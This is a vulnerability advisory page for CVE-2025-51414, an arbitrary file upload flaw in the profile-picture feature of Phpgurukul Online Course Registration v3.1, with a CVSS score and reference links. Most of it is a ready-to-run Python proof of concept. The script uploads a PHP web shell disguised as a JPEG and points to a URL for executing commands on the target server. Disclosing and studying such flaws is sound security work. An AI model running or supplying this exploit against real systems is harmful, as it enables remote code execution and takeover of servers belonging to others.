CVE-2025-51414

Description

In Phpgurukul Online Course Registration v3.1, an arbitrary file upload vulnerability was discovered within the profile picture upload functionality on the /my-profile.php page.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Phpgurukul Online Course Registration v3.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
url = "http://target.com/my-profile.php"

# Attacker's session cookie (Requires low privilege login)
cookies = {
    "PHPSESSID": "attacker_session_id"
}

# Malicious PHP file content (Webshell)
php_code = "<?php system($_GET['cmd']); ?>"

# Prepare the payload
files = {
    'profile_pic': ('shell.php', php_code, 'image/jpeg')
}

data = {
    'update': 'submit'
}

try:
    # Send POST request to upload the file
    response = requests.post(url, files=files, data=data, cookies=cookies)
    
    if response.status_code == 200:
        print("[+] File uploaded successfully.")
        print("[+] Try accessing the uploaded file at: http://target.com/uploads/shell.php?cmd=whoami")
    else:
        print("[-] Failed to upload file.")
        
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-51414
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-51414
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-51414/
[4] VulDB https://vuldb.com/cve/CVE-2025-51414
[5] https://github.com/12T40910/CVE/issues/12
[6] https://medium.com/@tanushkushtk01/cve-2025-51414-unrestricted-file-upload-in-online-course-registration-v3-1-bd8b839be1d7

Raw JSON Data

JSON

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